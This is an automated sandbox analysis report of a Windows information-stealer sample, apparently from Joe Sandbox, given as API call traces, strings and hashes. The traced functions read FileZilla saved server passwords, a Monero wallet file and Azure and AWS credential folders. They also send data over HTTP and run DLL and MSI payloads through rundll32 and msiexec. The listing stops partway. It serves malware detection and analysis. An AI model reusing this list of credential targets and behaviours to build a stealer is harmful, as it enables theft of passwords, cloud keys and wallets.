lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001D0DB2), ref: 001C0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001D0DB2), ref: 001C0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001D0DB2), ref: 001C051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001D0DB2), ref: 001C0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001D0DB2), ref: 001C054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 001C0562
lstrcat.KERNEL32(?,profile: null), ref: 001C0571
lstrcat.KERNEL32(?,url: ), ref: 001C0580
lstrcat.KERNEL32(?,00000000), ref: 001C0593
lstrcat.KERNEL32(?,001D1678), ref: 001C05A2
lstrcat.KERNEL32(?,00000000), ref: 001C05B5
lstrcat.KERNEL32(?,001D167C), ref: 001C05C4
lstrcat.KERNEL32(?,login: ), ref: 001C05D3
lstrcat.KERNEL32(?,00000000), ref: 001C05E6
lstrcat.KERNEL32(?,001D1688), ref: 001C05F5
lstrcat.KERNEL32(?,password: ), ref: 001C0604
lstrcat.KERNEL32(?,00000000), ref: 001C0617
lstrcat.KERNEL32(?,001D1698), ref: 001C0626
lstrcat.KERNEL32(?,001D169C), ref: 001C0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001D0DB2), ref: 001C068E

Strings

<Port>, xrefs: 001C03C6
url: , xrefs: 001C0577
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 001C02A4
<Host>, xrefs: 001C037C
browser: FileZilla, xrefs: 001C0559
login: , xrefs: 001C05CA
<Pass encoding="base64">, xrefs: 001C045A
profile: null, xrefs: 001C0568
password: , xrefs: 001C05FB
<User>, xrefs: 001C0410

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 1d305c3b9613aff27db20b56f95e236e1bc4767da31645465673d46401ca6ab7
Instruction ID: 5f0d81ccf502ff719872e5b063eb3f403889386cee724a4928a46b8c1ff84350
Opcode Fuzzy Hash: 1d305c3b9613aff27db20b56f95e236e1bc4767da31645465673d46401ca6ab7
Instruction Fuzzy Hash: 0DD10EB1900208ABCB05EBE4DD96FEE7778AF38305F94451DF106A6191DF74EA06CB62

Function 001B5960 Relevance: 44.2, APIs: 17, Strings: 8, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 001CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001CA7E6

Part of subcall function 001B47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 001B4839
Part of subcall function 001B47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 001B4849

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 001B59F8
StrCmpCA.SHLWAPI(?,00EEE498), ref: 001B5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001B5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00EEE478,00000000,?,00EE9D30,00000000,?,001D1A1C), ref: 001B5E71
lstrlen.KERNEL32(00000000), ref: 001B5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 001B5E93
RtlAllocateHeap.NTDLL(00000000), ref: 001B5E9A
lstrlen.KERNEL32(00000000), ref: 001B5EAF
lstrlen.KERNEL32(00000000), ref: 001B5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 001B5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 001B5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 001B5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 001B5F4C
InternetCloseHandle.WININET(00000000), ref: 001B5FB0
InternetCloseHandle.WININET(00000000), ref: 001B5FBD
HttpOpenRequestA.WININET(00000000,00EEE448,?,00EED8E8,00000000,00000000,00400100,00000000), ref: 001B5BF8

Part of subcall function 001CA9B0: lstrlen.KERNEL32(?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001CA9C5
Part of subcall function 001CA9B0: lstrcpy.KERNEL32(00000000), ref: 001CAA04
Part of subcall function 001CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001CAA12

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

Part of subcall function 001CA920: lstrcpy.KERNEL32(00000000,?), ref: 001CA972
Part of subcall function 001CA920: lstrcat.KERNEL32(00000000), ref: 001CA982

InternetCloseHandle.WININET(00000000), ref: 001B5FC7

Strings

", xrefs: 001B5CD5
H, xrefs: 001B5BEA
------, xrefs: 001B5A96
8, xrefs: 001B5CAC
x, xrefs: 001B5DED
------, xrefs: 001B5D4C
------, xrefs: 001B5C0B
", xrefs: 001B5E16

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$8$H$x
API String ID: 874700897-67791069
Opcode ID: 05da2054e171ee3f620b41302e16508ca5dd1518fb2849cfe518d2c292a227e3
Instruction ID: c2a63ef5703d311400c6ef89e00a7b6182d2f40af8471dcf78974745ab5448d6
Opcode Fuzzy Hash: 05da2054e171ee3f620b41302e16508ca5dd1518fb2849cfe518d2c292a227e3
Instruction Fuzzy Hash: 2912CC7182011CABDB16EBA0DC96FEEB378BF34705F90419DB10A62191DF70AE49CB65

Function 001BCEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Part of subcall function 001CA9B0: lstrlen.KERNEL32(?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001CA9C5
Part of subcall function 001CA9B0: lstrcpy.KERNEL32(00000000), ref: 001CAA04
Part of subcall function 001CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001CAA12

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

Part of subcall function 001C8B60: GetSystemTime.KERNEL32(001D0E1A,00EE99A0,001D05AE,?,?,001B13F9,?,0000001A,001D0E1A,00000000,?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001C8B86

Part of subcall function 001CA920: lstrcpy.KERNEL32(00000000,?), ref: 001CA972
Part of subcall function 001CA920: lstrcat.KERNEL32(00000000), ref: 001CA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 001BCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 001BD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 001BD0CE
lstrcat.KERNEL32(?,00000000), ref: 001BD208
lstrcat.KERNEL32(?,001D1478), ref: 001BD217
lstrcat.KERNEL32(?,00000000), ref: 001BD22A
lstrcat.KERNEL32(?,001D147C), ref: 001BD239
lstrcat.KERNEL32(?,00000000), ref: 001BD24C
lstrcat.KERNEL32(?,001D1480), ref: 001BD25B
lstrcat.KERNEL32(?,00000000), ref: 001BD26E
lstrcat.KERNEL32(?,001D1484), ref: 001BD27D
lstrcat.KERNEL32(?,00000000), ref: 001BD290
lstrcat.KERNEL32(?,001D1488), ref: 001BD29F
lstrcat.KERNEL32(?,00000000), ref: 001BD2B2
lstrcat.KERNEL32(?,001D148C), ref: 001BD2C1
lstrcat.KERNEL32(?,00000000), ref: 001BD2D4
lstrcat.KERNEL32(?,001D1490), ref: 001BD2E3

Part of subcall function 001CA820: lstrlen.KERNEL32(001B4F05,?,?,001B4F05,001D0DDE), ref: 001CA82B
Part of subcall function 001CA820: lstrcpy.KERNEL32(001D0DDE,00000000), ref: 001CA885

lstrlen.KERNEL32(?), ref: 001BD32A
lstrlen.KERNEL32(?), ref: 001BD339

Part of subcall function 001CAA70: StrCmpCA.SHLWAPI(00EE8A28,001BA7A7,?,001BA7A7,00EE8A28), ref: 001CAA8F

DeleteFileA.KERNEL32(00000000), ref: 001BD3B4

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 9445b9870407387db76582d4bfd77cc29e9687976dc87cce1c5a54171a9a214b
Instruction ID: 616a5a73264a5da26c74eb351a148538bf883e9e7a6913af9cf289796ff70bef
Opcode Fuzzy Hash: 9445b9870407387db76582d4bfd77cc29e9687976dc87cce1c5a54171a9a214b
Instruction Fuzzy Hash: D4E1CAB1910108ABCB06EBA0DD96EEE777CBF34305F904159F506A7191DF35EA09CBA2

Function 001BC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Part of subcall function 001CA920: lstrcpy.KERNEL32(00000000,?), ref: 001CA972
Part of subcall function 001CA920: lstrcat.KERNEL32(00000000), ref: 001CA982

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

Part of subcall function 001CA9B0: lstrlen.KERNEL32(?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001CA9C5
Part of subcall function 001CA9B0: lstrcpy.KERNEL32(00000000), ref: 001CAA04
Part of subcall function 001CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001CAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00EECE48,00000000,?,001D144C,00000000,?,?), ref: 001BCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 001BCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 001BCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 001BCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 001BCAD9
StrStrA.SHLWAPI(?,00EECE00,001D0B52), ref: 001BCAF7
StrStrA.SHLWAPI(00000000,00EECE60), ref: 001BCB1E
StrStrA.SHLWAPI(?,00EED480,00000000,?,001D1458,00000000,?,00000000,00000000,?,00EE8A98,00000000,?,001D1454,00000000,?), ref: 001BCCA2
StrStrA.SHLWAPI(00000000,00EED680), ref: 001BCCB9

Part of subcall function 001BC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 001BC871
Part of subcall function 001BC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 001BC87C

StrStrA.SHLWAPI(?,00EED680,00000000,?,001D145C,00000000,?,00000000,00EE8B28), ref: 001BCD5A
StrStrA.SHLWAPI(00000000,00EE88E8), ref: 001BCD71

Part of subcall function 001BC820: lstrcat.KERNEL32(?,001D0B46), ref: 001BC943
Part of subcall function 001BC820: lstrcat.KERNEL32(?,001D0B47), ref: 001BC957
Part of subcall function 001BC820: lstrcat.KERNEL32(?,001D0B4E), ref: 001BC978

lstrlen.KERNEL32(00000000), ref: 001BCE44
CloseHandle.KERNEL32(00000000), ref: 001BCE9C

Strings

, xrefs: 001BC9C6

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 512a7507a0af05d5b54677b28feb2c9a9179acdd81866e509fbeb98467656c45
Instruction ID: f02bbe4e41e29e20df2ae187c025bd0f3fe5a4d5f60a577288fa6945ffd82f70
Opcode Fuzzy Hash: 512a7507a0af05d5b54677b28feb2c9a9179acdd81866e509fbeb98467656c45
Instruction Fuzzy Hash: EDE1DFB191010CABDB16EBA4DC96FEEB778AF34305F80415DF10667191DF30AA4ACB66

Function 001C8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

RegOpenKeyExA.ADVAPI32(00000000,00EEADC8,00000000,00020019,00000000,001D05B6), ref: 001C83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 001C8426
wsprintfA.USER32 ref: 001C8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 001C847B
RegCloseKey.ADVAPI32(00000000), ref: 001C848C
RegCloseKey.ADVAPI32(00000000), ref: 001C8499

Part of subcall function 001CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001CA7E6

Strings

?, xrefs: 001C837A
- , xrefs: 001C85A3
%s\%s, xrefs: 001C844D

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: ca5d4d7c5f7854f20ed783c1d91925683a6fa41883098071a8e3993f146a5a88
Instruction ID: 6b1fe142f2fda521c0897aa620dda28c8280fe8e3b255738c42aec5fb67d900b
Opcode Fuzzy Hash: ca5d4d7c5f7854f20ed783c1d91925683a6fa41883098071a8e3993f146a5a88
Instruction Fuzzy Hash: A8810DB191011CABDB29DB50CC95FEAB7B8BF28704F408299E109A6140DF71AF85CF95

Function 001C4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001C8E0B

lstrcat.KERNEL32(?,00000000), ref: 001C4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 001C4DCD

Part of subcall function 001C4910: wsprintfA.USER32 ref: 001C492C
Part of subcall function 001C4910: FindFirstFileA.KERNEL32(?,?), ref: 001C4943

lstrcat.KERNEL32(?,00000000), ref: 001C4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 001C4E59

Part of subcall function 001C4910: StrCmpCA.SHLWAPI(?,001D0FDC), ref: 001C4971
Part of subcall function 001C4910: StrCmpCA.SHLWAPI(?,001D0FE0), ref: 001C4987
Part of subcall function 001C4910: FindNextFileA.KERNEL32(000000FF,?), ref: 001C4B7D
Part of subcall function 001C4910: FindClose.KERNEL32(000000FF), ref: 001C4B92

lstrcat.KERNEL32(?,00000000), ref: 001C4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 001C4EE5

Part of subcall function 001C4910: wsprintfA.USER32 ref: 001C49B0
Part of subcall function 001C4910: StrCmpCA.SHLWAPI(?,001D08D2), ref: 001C49C5
Part of subcall function 001C4910: wsprintfA.USER32 ref: 001C49E2
Part of subcall function 001C4910: PathMatchSpecA.SHLWAPI(?,?), ref: 001C4A1E
Part of subcall function 001C4910: lstrcat.KERNEL32(?,00EEE438), ref: 001C4A4A
Part of subcall function 001C4910: lstrcat.KERNEL32(?,001D0FF8), ref: 001C4A5C
Part of subcall function 001C4910: lstrcat.KERNEL32(?,?), ref: 001C4A70
Part of subcall function 001C4910: lstrcat.KERNEL32(?,001D0FFC), ref: 001C4A82
Part of subcall function 001C4910: lstrcat.KERNEL32(?,?), ref: 001C4A96
Part of subcall function 001C4910: CopyFileA.KERNEL32(?,?,00000001), ref: 001C4AAC
Part of subcall function 001C4910: DeleteFileA.KERNEL32(?), ref: 001C4B31

Strings

Azure\.azure, xrefs: 001C4DD3
\.aws\, xrefs: 001C4E4D
msal.cache, xrefs: 001C4EF0
\.IdentityService\, xrefs: 001C4ED9
Azure\.aws, xrefs: 001C4E5F
\.azure\, xrefs: 001C4DC1
*.*, xrefs: 001C4DD8
*.*, xrefs: 001C4E64
Azure\.IdentityService, xrefs: 001C4EEB

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 382e7d00a000df86f7e673837c138a16e6f2520e727de550bfcd7e1dc0e0ec0a
Instruction ID: 9389af1bf1fea7112e4f231210852f42b5cda9d67f08fa56fe05b4ce70d6d8da
Opcode Fuzzy Hash: 382e7d00a000df86f7e673837c138a16e6f2520e727de550bfcd7e1dc0e0ec0a
Instruction Fuzzy Hash: 294160BA94021877C710F7B0EC97FE93638AB34705F404558B249A61C1EFB49B89CB92

Function 001C9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 001C906C

Strings

image/jpeg, xrefs: 001C9136

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: add8fcd9bfe4a3381c509359cf35f968f21d7d97573608c4aad2941f60c47cbb
Instruction ID: a135448c933dcd7eada5eedfa5e28845a43687661d58eb8dc36d9ff4f4cb65b5
Opcode Fuzzy Hash: add8fcd9bfe4a3381c509359cf35f968f21d7d97573608c4aad2941f60c47cbb
Instruction Fuzzy Hash: 7A71CAB1910608ABDB14EBE4DC99FEEBBBDBF58700F108508F519A7290DB74E905CB61

Function 001C2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

ShellExecuteEx.SHELL32(0000003C), ref: 001C31C5
ShellExecuteEx.SHELL32(0000003C), ref: 001C335D
ShellExecuteEx.SHELL32(0000003C), ref: 001C34EA

Strings

C:\Windows\system32\rundll32.exe, xrefs: 001C3332
C:\Windows\system32\msiexec.exe, xrefs: 001C34BF
/passive, xrefs: 001C345B
"" , xrefs: 001C309A
/i ", xrefs: 001C33E4
.dll, xrefs: 001C31E5
<, xrefs: 001C3490
.msi, xrefs: 001C3398

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
